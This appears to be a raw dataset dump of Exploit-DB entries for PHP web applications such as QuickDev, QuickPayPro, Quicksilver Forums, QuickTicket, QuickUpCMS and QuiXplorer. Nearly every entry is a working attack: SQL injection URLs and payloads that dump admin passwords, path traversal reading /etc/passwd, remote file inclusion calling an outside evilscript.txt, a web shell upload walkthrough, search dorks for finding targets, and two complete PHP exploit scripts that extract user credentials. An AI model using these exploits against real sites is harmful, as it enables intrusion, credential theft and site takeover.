deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9334
Description: QuickDev 4 - 'download.php' File Disclosure
Type: webapps
Platform: php
Date: 2009-08-03
Author: SirGod

Exploit:
#####################################################################################
[+] QuickDev 4 Php (download.php file) Arbitrary File Download
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
#####################################################################################

[+] Download : http://sourceforge.net/projects/quickdev4php/files/

[+] Arbitrary File Download

 - Vulnerable code in download.php

--------------------------------------------------------------------------

$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($file));

//header( "Content-Description: File Transfer");
@readfile($file);
die();

--------------------------------------------------------------------------

 - PoC

   http://127.0.0.1/download.php?file=../../../../../../boot.ini

#####################################################################################

# milw0rm.com [2009-08-03]
Exploit-DB #11554
Description: QuickDev 4 PHP - Database Disclosure
Type: webapps
Platform: php
Date: 2010-02-23
Author: ViRuSMaN

Exploit:
==============================================================================
        [»] ~ Note : [ Tribute to the martyrs of Gaza . ]
==============================================================================
        [»] QuickDev 4 Php Database Disclosure Vulnerability
==============================================================================

    [»] Script:             [ QuickDev 4 Php ]
    [»] Language:           [ PHP ]
    [»] Site page:          [ CMS written in php oriented to Website or Intranet, full API for customization. ]
    [»] Download:           [ http://sourceforge.net/projects/quickdev4php/files/ ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & Jiko ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://[target].com/[path]/backup/SQL/



Author: ViRuSMaN <-

###########################################################################
Exploit-DB #4193
Description: QuickEStore 8.2 - 'insertorder.cfm' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-18
Author: meoconx

Exploit:
author:meoconx[at]vnbrain.net
web application:QuickEStore
Main Page:www.quickestore.com
bug:

sql injection at insertorder.cfm?CFID=123&CFTOKEN=1'

exploit:

http://www.xxx.com/insertorder.cfm?CFID=123&CFTOKEN=1[sql query]

get admin password:
http://www.xxx.com/insertorder.cfm?CFID=123&CFTOKEN=1 union select 1,2,3,password,5,6,7,8,9,10,11,12 from params"having 1=1

link admin:http://www.xxx.com/admin/

demo(main site :D :D):
http://www.quickestore.com/ppec/insertorder.cfm?CFID=xx&CFTOKEN=1%20union%20select%201,2,3,4,password,6,7,8,9,10,11,12,13,14,15%20from%20params%22having%201=1

# milw0rm.com [2007-07-18]
Exploit-DB #51474
Description: Quicklancer v1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2023-05-23
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Quicklancer v1.0 - SQL Injection
# Date: 2023-05-17
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor:
https://codecanyon.net/item/quicklancer-freelance-marketplace-php-script/39087135
# Demo Site: https://quicklancer.bylancer.com
# Tested on: Kali Linux
# CVE: N/A


### Request ###

POST /php/user-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
x-requested-with: XMLHttpRequest
Referer: https://localhost
Cookie: sec_session_id=12bcd985abfc52d90489a6b5fd8219b2;
quickjob_view_counted=31; Quick_lang=arabic
Content-Length: 93
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive

action=searchStateCountry&dataString=deneme


### Parameter & Payloads ###

Parameter: dataString (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=searchStateCountry&dataString=deneme' AND (SELECT 8068
FROM (SELECT(SLEEP(5)))qUdx) AND 'nbTo'='nbTo
Exploit-DB #26828
Description: QuickPayPro 3.1 - 'customer.tickets.view.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-12-14
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15863/info
 
QuickPayPro is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

http://www.example.com/communication/customer.tickets.view.php?so=[SQL]
http://www.example.com/communication/customer.tickets.view.php?so=ASC&sb=[SQL]
http://www.example.com/communication/customer.tickets.view.php?so=ASC&sb=Status&nr=[SQL]
Exploit-DB #26830
Description: QuickPayPro 3.1 - 'design.php?delete' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-14
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15863/info
   
QuickPayPro is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

http://www.example.com/settings/design.php?delete=[SQL]
Exploit-DB #26827
Description: QuickPayPro 3.1 - 'popups.edit.php?popupid' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-14
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15863/info

QuickPayPro is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

http://www.example.com/communication/popups.edit.php?popupid=[SQL]
Exploit-DB #26832
Description: QuickPayPro 3.1 - 'sales.view.php?customerid' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-14
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15863/info
     
QuickPayPro is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

http://www.example.com/mycompany/sales.view.php?customerid=1[SQL]
Exploit-DB #26829
Description: QuickPayPro 3.1 - 'subscribers.tracking.edit.php?subtrackingid' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-14
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15863/info
  
QuickPayPro is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

http://www.example.com/communication/subscribers.tracking.edit.php?subtrackingid=[SQL]
Exploit-DB #26831
Description: QuickPayPro 3.1 - 'tracking.details.php?trackingid' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-14
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15863/info
    
QuickPayPro is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

http://www.example.com/tools/tracking.details.php?trackingid=1[SQL]
Exploit-DB #2356
Description: Quicksilver Forums 1.2.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-13
Author: mdx

Exploit:
####################################################
#                                                  #
#           [ WWW.SecurityWall.orG ]               #
#                                                  #
####################################################

Quicksilver Forums [(v1.2.0)+(1.2.1)] (set[include_path]) Remote File Inclusion Vulnerabilities

####################################################

Author: mdx

####################################################

Class : Remote

####################################################

cont@ct: bilkopat[at]hotmail[dot]com

####################################################
[v1.2.0]+[v1.2.1]
Code: activeutil.php?

require_once $set['include_path'] . '/lib/bbcode.php';


Exploit:
http://www.site.com/[path]/lib/activeutil.php?set[include_path]=http://site.com/evilscript.txt?

####################################################

Greetz: [Cyber-warrior TIM USERS] , Dreamlord , xoron , The_bat_hacker , redx , dipsomania , Kizil_alev, ElHaCKeR :=)
####################################################

# milw0rm.com [2006-09-13]
Exploit-DB #6223
Description: Quicksilver Forums 1.4.1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-08-10
Author: irk4z

Exploit:
<?php
/*
. vuln.: Quicksilver Forums 1.4.1 (forums[]) Remote SQL Injection Exploit
. download: http://www.quicksilverforums.com/
.
. author: irk4z[at]yahoo.pl
. homepage: http://irk4z.wordpress.com/
.
. greets: all friends ;)
.
. this is PoC exploit
*/

$host = $argv[1];
$path = $argv[2];
$prefix = "qsf_"; // this is default prefix

echo
".\n. Quicksilver Forums 1.4.1 (forums[]) Remote SQL Injection Exploit\n.\n".
". author: irk4z[at]yahoo.pl\n".
". homepage: http://irk4z.wordpress.com/\n".
".\n".
". usage: php ".$argv[0]." host path\n".
".        php ".$argv[0]." localhost /\n\n";

if(empty($host)||empty($path))die('# wrong host or path..');

$post_data = "query=I-like-it&forums[]=2)/**/limit/**/0/**/UNION/**/SELECT/**/1,1,concat(0x5b3a213a5d,user_name,0x3A,user_password,0x5b3a213a5d),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/".$prefix."users/**/WHERE/**/user_group=1/*&searchtype=match&member_text=&member_select=exact&showposts_check=on&limit_check=on&limit_chars=400&time_check=on&time_way_select=newer&time_select=31&submit=Search";

$data = "POST ".$path."index.php?a=search HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-length: ".strlen($post_data)."\r\n";
$data .= "Connection: Close\r\n";
$data .= "\r\n";
$data .= $post_data."\r\n\r\n";

$s = @fsockopen($host, 80);
if (empty($s)) die('# wrong host..');

fputs($s, $data); $retu ='';

while(!feof($s)){
	$retu .= fgets($s);
}

fclose($s);

$tmp = explode('[:!:]',$retu);
if(empty($tmp[1]))die('sorry, exploit failed.. maybe try again in a few seconds..');
echo " " . $tmp[1] . "\n\ndone.";
?>

# milw0rm.com [2008-08-10]
Exploit-DB #4115
Description: QuickTalk forum 1.3 - 'lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-06-27
Author: Katatafish

Exploit:
###QuickTalk forum v1.3 Local File Inclusion###

#download: http://www.qt-cute.org/download/qtf13.zip

#found by: katatafish (karatatata@hush.com)

#vulncode:
 $strLang = $_GET["lang"];
 include("language/$strLang/qtf_lang_reg.inc");

#exploits:

 http://www.site.com/[path]/qtf_checkname.php?lang=./../../../../../../../../../../etc/passwd%00
 http://www.site.com/[path]/qtf_j_birth.php?lang=./../../../../../../../../../../etc/passwd%00
 http://www.site.com/[path]/qtf_j_exists.php?lang=./../../../../../../../../../../etc/passwd%00

#thanks:str0ke

# milw0rm.com [2007-06-27]
Exploit-DB #16266
Description: Quicktech - SQL Injection
Type: webapps
Platform: php
Date: 2011-03-02
Author: eXeSoul

Exploit:
#########################################################################
  
[+] Exploit Title : Quicktech  [ Sql Injection Vulnerability]
[+] Author : eXeSoul
[+] Contact : exe.soul@live.com
[+] Date : 02-03-2011
[+] category: Web Apps [SQli]
[+] HomePage : www.indishell.in
[+] Version : all
[+] Tested on : windows/linux 
[+] Vulnerability Style : PHP [ Sql Injection Vunerability ]
[+] Vendor: www.quicktech.ca
[+] VCE: ()
[+] Dork :  "Copyright 2010, Quicktech" OR inurl:leftmenubody.php?id=
#########################################################################

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
<3 Love: -[SiLeNtp0is0n]-, stRaNgEr(lucky), inX_rOot, NEO H4cK3R, DarkL00k, Th3 RDX, G00g!3 W@rr!0r, Nazz ,
r45c4l, str1k3r, co0Lt04d , ATUL DWIVEDI , Jackh4xor , Bon3 ,Badboy-Albinia, Mr.SK , I-H Guru,
X__HMG, AK-47, [ICW] [Andhra Hackers]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 
 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                           ......\m/ INDIAN CYBER ARMY \m/......
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Vulnerability:
  
*SQL injection Vulnerability*
 
 
[#] http://server/content.php?id=[sqli]
[#] http://server/leftmenubody.php?id=[sqli]
[#] http://server/leftmenubody1.php?id=[sqli]
[#] http://server/newsdetail1.php?id=[sqli]
[#] http://server/news.php?page=[sqli]
[#] http://server/content.php?id=[sqli]

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=> PROUD TO BE AN INDIAN | Anythning for INDIA | JAI-HIND | Maa Tujhe Salam
   
=> c0d3 for motherland, h4ck for motherland
  
 
      
     Enj0y! :D
 
 
[#] DOne now time to rock \m/
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


# JAY HIND.!! JAY SHREE RAM.!! JAY SHREE KRISHANA.!! JAY MAHADEV.!!

# eXploit-db.com [02-03-2011]
  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  
finish(0);
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  
#End 0Day#
Exploit-DB #4116
Description: QuickTicket 1.2 - 'qti_checkname.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-06-27
Author: Katatafish

Exploit:
###QuickTicket v1.2 Local File Inclusion###

#download: http://www.qt-cute.org/download/qti12.zip

#found by: katatafish (karatatata@hush.com)

#vulncode:
 $strLang = $_GET["lang"];
 include("language/$strLang/qtf_lang_reg.inc");

#exploit:
 http://www.site.com/[path]/qti_checkname.php?lang=./../../../../../../../../../../etc/passwd%00

#thanks:str0ke

# milw0rm.com [2007-06-27]
Exploit-DB #5222
Description: QuickTicket 1.5 - 'qti_usr.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-09
Author: croconile

Exploit:
########################################################
#            Script name: QuickTicket                  #
#            Site: http://www.qt-cute.org              #
#  Vulnerability: remote sql injection at qti_usr.php  #
#                     Download:                        #
# v 1.4: http://www.qt-cute.org/download/qti14.zip     #
# v 1.5.0.3: http://www.qt-cute.org/download/qti15.zip #
########################################################
#    Vulnerable code: (1.4 ; 1.5 is pretty the same)   #
########################################################
# <- line #43 ->
# if (isset($_GET['id'])) $id = $_GET['id'];
# 
# <- line #124-126 ->
# // -- COUNT TOPICS --
# 
# $oDB->Query('SELECT count(id) as countid FROM '.TABTOPIC.' WHERE firstpostuser='.$id);
# 
# <- line #130-132 ->
# // -- COUNT MESSAGES --
# 
# $oDB->Query('SELECT count(id) as countid FROM '.TABPOST.' WHERE userid='.$id);
# 
########################################################
#                       d0rk:                          #
########################################################
# powered by QT-cute v1.4
# powered by QT-cute v1.5
# intitle:"QT-cute"
#
########################################################
#                      exploit:                        #
########################################################
# http://site.tld/path/qti_usr.php?id=4+UNION+ALL+SELECT+0,pwd,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+qtiuser+WHERE+id+=+1--
# 
########################################################
----- ---->> >> >> croconile << << <<---- -----
^_ w4ck1ng.com crushmachine.com rmachine.net _^
    ^_   at4re.com arabteam200.com   _^
    ^_   irc.rmachine.net #w4ck1ng   _^
               ^_ m@cro.li _^

# milw0rm.com [2008-03-09]
Exploit-DB #5588
Description: QuickUpCMS - Multiple SQL Injections Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-11
Author: Lidloses_Auge

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#           QuickUpCMS - SQL Injection Exploit     
#                                                             
#      Vulnerability discovered by: Lidloses_Auge             
#      Exploit coded by:            Lidloses_Auge
#      Greetz to:                   -=Player=- , Suicide, g4ms3, enco,
#                                   GPM, Free-Hack
#      Date:                        10.05.2008
#
###############################################################
#                                                             
#      Dork1:  inurl:/frontend/news.php?nr=
#      Dork2:  inurl:/frontend/events2.php
#      Dork3:  inurl:/frontend/events3.php?id=
#      Dork4:  inurl:/frontend/fotos2.php?ser=
#      Dork5:  inurl:/frontend/videos2.php?id=
#      Usage: php '.$argv[0].' [Target] [Method] [Userid]
#      Methods:
#         1: news.php
#         2: events2.php
#         3: events3.php
#         4: fotos2.php
#         5: videos2.php
#      Example for "http://www.site.com/frontend/news.php?nr=2"
#      => php '.$argv[0].' http://www.site.com/frontend/ 1 1
#                                                             
###############################################################
');

if ($argc == 4) {

$url = $argv[1];
$methodnr = $argv[2];
$userid = $argv[3];

if ($methodnr==1) {
   $method = 'news.php?nr=null\'union+select+1,2,3,4,5,6,7,8,9,10,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),12/**/from+cms_user+where+id='.$userid.'/*';
} elseif ($methodnr==2) {
   $method = 'events2.php?d=null&m=null&y=null\'union+select+1,2,3,4,5,6,7,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),9/**/from+cms_user+where+id='.$userid.'/*';
} elseif ($methodnr==3) {
   $method = 'events3.php?id=null\'union+select+1,2,3,4,5,6,7,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),9/**/from+cms_user+where+id='.$userid.'/*';
} elseif ($methodnr==4) {
   $method = 'fotos2.php?ser=null\'union+select+1,2,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),4,5/**/from+cms_user+where+id='.$userid.'/*';
} elseif ($methodnr==5) {
   $method = 'method5: videos2.php?id=null\'union+select+1,2,3,4,5,concat(0x3a3a3a3a,user,0x3a3a313a3a,pass,0x3a3a323a3a),7/**/from+cms_user+where+id='.$userid.'/*';
}

$source = @file_get_contents($url.$method);

echo "\n";
if (strpos($source,'::::')!=0) {
   echo 'User: '.substr($source,strpos($source,'::::')+4,strpos($source,'::1::')-strpos($source,'::::')-4)."\n";
   echo 'Hash: '.substr($source,strpos($source,'::1::')+5,strpos($source,'::2::')-strpos($source,'::1::')-5)."\n";
} else {
   echo 'Exploit failed!'."\n";
}
   
} else {
echo "\n".'Not enough arguments!'."\n";
}
?>

# milw0rm.com [2008-05-11]
Exploit-DB #32366
Description: QuicO - 'photo.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-12
Author: Beenu Arora

Exploit:
source: https://www.securityfocus.com/bid/31154/info

QuicO is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/gallery/photo.php?id=48+and+1=2+union+select+1,version(),user(),database(),0x6461726b[PII_REDACTED]52756c65732e2e2121,6--
Exploit-DB #5176
Description: Quinsonnas Mail Checker 1.55 - 'footer.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-02-23
Author: GoLd_M

Exploit:
### Quinsonnas Mail Checker 1.55 (footer.php) Remote File Inclusion Vulnerabilities
### http://switch.dl.sourceforge.net/sourceforge/quinsonnas/quinsonnas-1.55.tar.bz2
### POC :
###     /quinsonnas-1.55/footer.php?op[footer_body]=http://localhost/020.txt?
### I'm Tryagi - Tryag.Cc/cc -  :) 

# milw0rm.com [2008-02-23]
Exploit-DB #18118
Description: QuiXplorer 2.3 - Bugtraq Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-11-15
Author: PCA

Exploit:
# Exploit Title: QuiXplorer 2.3 <= Bugtraq File Upload Vulnerability
# Google Dork: "QuiXplorer 2.3 - the QuiX project"
# Date: 13/11/2011
# Author:  PCA & krhr_krhr and
# Software Link: http://quixplorer.sourceforge.net/
# Version: QuiXplorer 2.3
# Tested on: linux ,windows 
# CVE : 
----------------------------------------------------------------------------------------------------------------------------------------------------------------------
Vulnerablity

http://[localhost]/[path]/index.php?action=list&order=name&srt=yes

http://site.com/[xyz]/index.php?action=list&order=name&srt=yes
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------

after Going to this you will saw a file manager 
you can upload your files here 

find this icons in page and click on last, its upload option	 ::	
You can direct upload too with chnaging url, just put action=upload&order=name&srt=yes
after index.php?
Quote:
example : http://site.com/[xyz]/index.php?action=upload&order=name&srt=yes

Shell Example : shell.php, shell.asp, shell.html, shell.php.jpg, shell.asp.jpg, or,,
- anything support file
click On you file For view 
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------

PCA PERUVIAN CYBER ARMY & krhr_krhr and (HF)
PCA TEAM :
-rAtoN
-Chipd3bios
-jardha
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------